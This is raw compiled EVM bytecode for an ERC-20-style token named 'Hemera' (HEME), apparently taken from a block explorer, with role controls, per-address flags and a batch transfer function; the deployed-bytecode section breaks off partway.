e7565b9250828201905080821115610e7d57610e7c610c44565b5b92915050565b610e8c816107e7565b82525050565b5f606082019050610ea55f830186610c0e565b610eb26020830185610e83565b610ebf6040830184610e83565b949350505050565b5f602082019050610eda5f830184610e83565b92915050565b6128a480610eed5f395ff3fe608060405234801561000f575f80fd5b506004361061014b575f3560e01c8063552de325116100c1578063a217fddf1161007a578063a217fddf14610399578063a9059cbb146103b7578063bb93dfbb146103e7578063d547741f146103f1578063dd62ed3e1461040d578063f67b6a991461043d5761014b565b8063552de325146102d95780635fd1a746146102f557806370a08231146103115780639125bfe31461034157806391d148541461034b57806395d89b411461037b5761014b565b806323b872dd1161011357806323b872dd14610207578063248a9ca3146102375780632f2ff15d14610267578063313ce5671461028357806336568abe146102a15780634e4c5f83146102bd5761014b565b806301ffc9a71461014f57806306fdde031461017f578063095ea7b31461019d5780630c0e028f146101cd57806318160ddd146101e9575b5f80fd5b61016960048036038101906101649190611edc565b610459565b6040516101769190611f21565b60405180910390f35b6101876104d2565b6040516101949190611faa565b60405180910390f35b6101b760048036038101906101b29190612057565b610562565b6040516101c49190611f21565b60405180910390f35b6101e760048036038101906101e29190612095565b610584565b005b6101f16105a4565b6040516101fe91906120f4565b60405180910390f35b610221600480360381019061021c9190612095565b6105ad565b60405161022e9190611f21565b60405180910390f35b610251600480360381019061024c9190612140565b6105db565b60405161025e919061217a565b60405180910390f35b610281600480360381019061027c9190612193565b6105f8565b005b61028b61061a565b60405161029891906121ec565b60405180910390f35b6102bb60048036038101906102b69190612193565b610622565b005b6102d760048036038101906102d29190612205565b61069d565b005b6102f360048036038101906102ee9190612205565b610701565b005b61030f600480360381019061030a9190612057565b610765565b005b61032b60048036038101906103269190612205565b610781565b60405161033891906120f4565b60405180910390f35b6103496107c7565b005b61036560048036038101906103609190612193565b6107ef565b6040516103729190611f21565b60405180910390f35b610383610853565b6040516103909190611faa565b60405180910390f35b6103a16108e3565b6040516103ae919061217a565b60405180910390f35b6103d160048036038101906103cc9190612057565b6108e9565b6040516103de9190611f21565b60405180910390f35b6103ef61090b565b005b61040b60048036038101906104069190612193565b610934565b005b61042760048036038101906104229190612230565b610956565b60405161043491906120f4565b60405180910390f35b610457600480360381019061045291906123ae565b6109d8565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104cb57506104ca82610b3a565b5b9050919050565b6060600880546104e190612447565b80601f016020809104026020016040519081016040528092919081815260200182805461050d90612447565b80156105585780601f1061052f57610100808354040283529160200191610558565b820191905f5260205f20905b81548152906001019060200180831161053b57829003601f168201915b5050505050905090565b5f8061056c610ba3565b9050610579818585610baa565b600191505092915050565b5f801b61059081610bbc565b61059e84848460015f610bd0565b50505050565b5f600754905090565b5f806105b7610ba3565b90506105c4858285610e7a565b6105cf858585610f0c565b60019150509392505050565b5f60025f8381526020019081526020015f20600101549050919050565b610601826105db565b61060a81610bbc565b6106148383611068565b50505050565b5f6012905090565b61062a610ba3565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461068e576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106988282611152565b505050565b5f801b6106a981610bbc565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b61070d81610bbc565b6001805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b61077181610bbc565b61077c83835f61123c565b505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6107d381610bbc565b5f8060146101000a81548160ff02191690831515021790555050565b5f60025f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b60606009805461086290612447565b80601f016020809104026020016040519081016040528092919081815260200182805461088e90612447565b80156108d95780601f106108b0576101008083540402835291602001916108d9565b820191905f5260205f20905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b5f801b81565b5f806108f3610ba3565b9050610900818585610f0c565b600191505092915050565b5f801b61091781610bbc565b60015f60146101000a81548160ff02191690831515021790555050565b61093d826105db565b61094681610bbc565b6109508383611152565b50505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b6109e481610bbc565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a32573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5691906124a1565b60ff1690505f5b85518160ff161015610b31575f82600a610a779190612628565b86610a829190612672565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610ab657610ab56126b3565b5b6020026020010151836040518363ffffffff1660e01b8152600401610adc9291906126ef565b6020604051808303815f875af1158015610af8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612740565b50508080610b299061276b565b915050610a5d565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b610bb783838360016113d2565b505050565b610bcd81610bc8610ba3565b6115a1565b50565b8015610d1d5760405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183151581525060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015f6101000a81548160ff021916908315150217905550905050610e73565b60405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001670de0b6b3a764000085610d749190612672565b815260200183151581525060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015f6101000a81548160ff0219169083151502179055509050505b5050505050565b5f610e858484610956565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f065781811015610ef7578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610eee93929190612793565b60405180910390fd5b610f0584848484035f6113d2565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7c575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f7391906127c8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fec575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610fe391906127c8565b60405180910390fd5b5f610ff6846115f2565b93505050505f60405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001831515815250905061105681611731565b611061858585611a5b565b5050505050565b5f61107383836107ef565b61114857600160025f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506110e5610ba3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a46001905061114c565b5f90505b92915050565b5f61115d83836107ef565b15611232575f60025f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111cf610ba3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611236565b5f90505b92915050565b80156113005760405180604001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018381525060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050506113cd565b60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff168152602001670de0b6b3a76400008461133b9190612672565b81525060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611442575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161143991906127c8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114b2575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016114a991906127c8565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561159b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161159291906120f4565b60405180910390a35b50505050565b6115ab82826107ef565b6115ee5780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016115e59291906127e1565b60405180910390fd5b5050565b5f805f805f60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060800160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015f9054906101000a900460ff1615151515815250509050805f01518160200151826040015183606001519450945094509450509193509193565b5f61173e825f01516115f2565b50925050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff160361187e576117a58260200151611c77565b15611848575f151560015f846020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515036118435781602001516040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161183a91906127c8565b60405180910390fd5b611879565b5f1515611857835f0151611c99565b15150361187857611877825f015183602001518460400151600180610bd0565b5b5b611a57565b61188d5f801b835f01516107ef565b806118e1575060015f835f015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611917576118f9825f01518360400151600161123c565b611912825f0151836020015184604001515f6001610bd0565b611a56565b5f60149054906101000a900460ff16156119ca57816040015161193c835f0151611dbf565b1015801561194d57505f8260400151115b15611985575f8260400151611964845f0151611dbf565b61196e9190612808565b905061197f835f015182600161123c565b506119c5565b815f01516040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016119bc91906127c8565b60405180910390fd5b611a55565b816040015181101580156119e157505f8260400151115b15611a14575f8260400151826119f79190612808565b9050611a0e835f0151846020015183600180610bd0565b50611a54565b815f01516040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611a4b91906127c8565b60405180910390fd5b5b5b5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aab578060075f828254611a9f919061283b565b92505081905550611b7b565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611b35578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611b2c93929190612793565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bc2578060075f8282540392505081905550611c0d565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c6a91906120f4565b60405180910390a3505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060800160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015f9054906101000a900460ff16151515158152505090508060600151915050919050565b5f8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152505090508060200151915050919050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611ebb81611e87565b8114611ec5575f80fd5b50565b5f81359050611ed681611eb2565b92915050565b5f60208284031215611ef157611ef0611e7f565b5b5f611efe84828501611ec8565b91505092915050565b5f8115159050919050565b611f1b81611f07565b82525050565b5f602082019050611f345f830184611f12565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7c82611f3a565b611f868185611f44565b9350611f96818560208601611f54565b611f9f81611f62565b840191505092915050565b5f6020820190508181035f830152611fc28184611f72565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ff382611fca565b9050919050565b61200381611fe9565b811461200d575f80fd5b50565b5f8135905061201e81611ffa565b92915050565b5f819050919050565b61203681612024565b8114612040575f80fd5b50565b5f813590506120518161202d565b92915050565b5f806040838503121561206d5761206c611e7f565b5b5f61207a85828601612010565b925050602061208b85828601612043565b9150509250929050565b5f805f606084860312156120ac576120ab611e7f565b5b5f6120b986828701612010565b93505060206120ca86828701612010565b92505060406120db86828701612043565b9150509250925092565b6120ee81612024565b82525050565b5f6020820190506121075f8301846120e5565b92915050565b5f819050919050565b61211f8161210d565b8114612129575f80fd5b50565b5f8135905061213a81612116565b92915050565b5f6020828403121561215557612154611e7f565b5b5f6121628482850161212c565b91505092915050565b6121748161210d565b82525050565b5f60208201905061218d5f83018461216b565b92915050565b5f80604083850312156121a9576121a8611e7f565b5b5f6121b68582860161212c565b92505060206121c785828601612010565b9150509250929050565b5f60ff82169050919050565b6121e6816121d1565b82525050565b5f6020820190506121ff5f8301846121dd565b92915050565b5f6020828403121561221a57612219611e7f565b5b5f61222784828501612010565b91505092915050565b5f806040838503121561224657612245611e7f565b5b5f61225385828601612010565b925050602061226485828601612010565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122a882611f62565b810181811067ffffffffffffffff821117156122c7576122c6612272565b5b80604052505050565b5f6122d9611e76565b90506122e5828261229f565b919050565b5f67ffffffffffffffff82111561230457612303612272565b5b602082029050602081019050919050565b5f80fd5b5f61232b612326846122ea565b6122d0565b9050808382526020820190506020840283018581111561234e5761234d612315565b5b835b8181101561237757806123638882612010565b845260208401935050602081019050612350565b5050509392505050565b5f82601f8301126123955761239461226e565b5b81356123a5848260208601612319565b91505092915050565b5f805f606084860312156123c5576123c4611e7f565b5b5f6123d286828701612010565b935050602084013567ffffffffffffffff8111156123f3576123f2611e83565b5b6123ff86828701612381565b925050604061241086828701612043565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061245e57607f821691505b6020821081036124715761247061241a565b5b50919050565b612480816121d1565b811461248a575f80fd5b50565b5f8151905061249b81612477565b92915050565b5f602082840312156124b6576124b5611e7f565b5b5f6124c38482850161248d565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561254e5780860481111561252a576125296124cc565b5b60018516156125395780820291505b8081029050612547856124f9565b945061250e565b94509492505050565b5f826125665760019050612621565b81612573575f9050612621565b81600181146125895760028114612593576125c2565b6001915050612621565b60ff8411156125a5576125a46124cc565b5b8360020a9150848211156125bc576125bb6124cc565b5b50612621565b5060208310610133831016604e8410600b84101617156125f75782820a9050838111156125f2576125f16124cc565b5b612621565b6126048484846001612505565b9250905081840481111561261b5761261a6124cc565b5b81810290505b9392505050565b5f61263282612024565b915061263d83612024565b925061266a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612557565b905092915050565b5f61267c82612024565b915061268783612024565b925082820261269581612024565b915082820484148315176126ac576126ab6124cc565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b6126e981611fe9565b82525050565b5f6040820190506127025f8301856126e0565b61270f60208301846120e5565b9392505050565b61271f81611f07565b8114612729575f80fd5b50565b5f8151905061273a81612716565b92915050565b5f6020828403121561275557612754611e7f565b5b5f6127628482850161272c565b91505092915050565b5f612775826121d1565b915060ff8203612788576127876124cc565b5b600182019050919050565b5f6060820190506127a65f8301866126e0565b6127b360208301856120e5565b6127c060408301846120e5565b949350505050565b5f6020820190506127db5f8301846126e0565b92915050565b5f6040820190506127f45f8301856126e0565b612801602083018461216b565b9392505050565b5f61281282612024565b915061281d83612024565b9250828203905081811115612835576128346124cc565b5b92915050565b5f61284582612024565b915061285083612024565b9250828201905080821115612868576128676124cc565b5b9291505056fea2646970667358221220eccd6fed571c5bd977ce819c7210b3e483273d9b09f7ec3a8c8547bd4529e74564736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000f0d3ea928db307649210ec10d8c717422b0d9c59000000000000000000000000000000000000000000000000000000000000000648656d6572610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000448454d4500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061014b575f3560e01c8063552de325116100c1578063a217fddf1161007a578063a217fddf14610399578063a9059cbb146103b7578063bb93dfbb146103e7578063d547741f146103f1578063dd62ed3e1461040d578063f67b6a991461043d5761014b565b8063552de325146102d95780635fd1a746146102f557806370a08231146103115780639125bfe31461034157806391d148541461034b57806395d89b411461037b5761014b565b806323b872dd1161011357806323b872dd14610207578063248a9ca3146102375780632f2ff15d14610267578063313ce5671461028357806336568abe146102a15780634e4c5f83146102bd5761014b565b806301ffc9a71461014f57806306fdde031461017f578063095ea7b31461019d5780630c0e028f146101cd57806318160ddd146101e9575b5f80fd5b61016960048036038101906101649190611edc565b610459565b6040516101769190611f21565b60405180910390f35b6101876104d2565b6040516101949190611faa565b60405180910390f35b6101b760048036038101906101b29190612057565b610562565b6040516101c49190611f21565b60405180910390f35b6101e760048036038101906101e29190612095565b610584565b005b6101f16105a4565b6040516101fe91906120f4565b60405180910390f35b610221600480360381019061021c9190612095565b6105ad565b60405161022e9190611f21565b60405180910390f35b610251600480360381019061024c9190612140565b6105db565b60405161025e919061217a565b60405180910390f35b610281600480360381019061027c9190612193565b6105f8565b005b61028b61061a565b60405161029891906121ec565b60405180910390f35b6102bb60048036038101906102b69190612193565b610622565b005b6102d760048036038101906102d29190612205565b61069d565b005b6102f360048036038101906102ee9190612205565b610701565b005b61030f600480360381019061030a9190612057565b610765565b005b61032b60048036038101906103269190612205565b610781565b60405161033891906120f4565b60405180910390f35b6103496107c7565b005b61036560048036038101906103609190612193565b6107ef565b6040516103729190611f21565b60405180910390f35b610383610853565b6040516103909190611faa565b60405180910390f35b6103a16108e3565b6040516103ae919061217a565b60405180910390f35b6103d160048036038101906103cc9190612057565b6108e9565b6040516103de9190611f21565b60405180910390f35b6103ef61090b565b005b61040b60048036038101906104069190612193565b610934565b005b61042760048036038101906104229190612230565b610956565b60405161043491906120f4565b60405180910390f35b610457600480360381019061045291906123ae565b6109d8565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104cb57506104ca82610b3a565b5b9050919050565b6060600880546104e190612447565b80601f016020809104026020016040519081016040528092919081815260200182805461050d90612447565b80156105585780601f1061052f57610100808354040283529160200191610558565b820191905f5260205f20905b81548152906001019060200180831161053b57829003601f168201915b5050505050905090565b5f8061056c610ba3565b9050610579818585610baa565b600191505092915050565b5f801b61059081610bbc565b61059e84848460015f610bd0565b50505050565b5f600754905090565b5f806105b7610ba3565b90506105c4858285610e7a565b6105cf858585610f0c565b60019150509392505050565b5f60025f8381526020019081526020015f20600101549050919050565b610601826105db565b61060a81610bbc565b6106148383611068565b50505050565b5f6012905090565b61062a610ba3565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461068e576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106988282611152565b505050565b5f801b6106a981610bbc565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b61070d81610bbc565b6001805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b61077181610bbc565b61077c83835f61123c565b505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6107d381610bbc565b5f8060146101000a81548160ff02191690831515021790555050565b5f60025f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b60606009805461086290612447565b80601f016020809104026020016040519081016040528092919081815260200182805461088e90612447565b80156108d95780601f106108b0576101008083540402835291602001916108d9565b820191905f5260205f20905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b5f801b81565b5f806108f3610ba3565b9050610900818585610f0c565b600191505092915050565b5f801b61091781610bbc565b60015f60146101000a81548160ff02191690831515021790555050565b61093d826105db565b61094681610bbc565b6109508383611152565b50505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b6109e481610bbc565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a32573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5691906124a1565b60ff1690505f5b85518160ff161015610b31575f82600a610a779190612628565b86610a829190612672565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610ab657610ab56126b3565b5b6020026020010151836040518363ffffffff1660e01b8152600401610adc9291906126ef565b6020604051808303815f875af1158015610af8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612740565b50508080610b299061276b565b915050610a5d565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b610bb783838360016113d2565b505050565b610bcd81610bc8610ba3565b6115a1565b50565b8015610d1d5760405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183151581525060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015f6101000a81548160ff021916908315150217905550905050610e73565b60405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001670de0b6b3a764000085610d749190612672565b815260200183151581525060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015f6101000a81548160ff0219169083151502179055509050505b5050505050565b5f610e858484610956565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f065781811015610ef7578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610eee93929190612793565b60405180910390fd5b610f0584848484035f6113d2565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7c575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f7391906127c8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fec575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610fe391906127c8565b60405180910390fd5b5f610ff6846115f2565b93505050505f60405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001831515815250905061105681611731565b611061858585611a5b565b5050505050565b5f61107383836107ef565b61114857600160025f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506110e5610ba3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a46001905061114c565b5f90505b92915050565b5f61115d83836107ef565b15611232575f60025f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111cf610ba3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611236565b5f90505b92915050565b80156113005760405180604001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018381525060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050506113cd565b60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff168152602001670de0b6b3a76400008461133b9190612672565b81525060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611442575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161143991906127c8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114b2575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016114a991906127c8565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561159b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c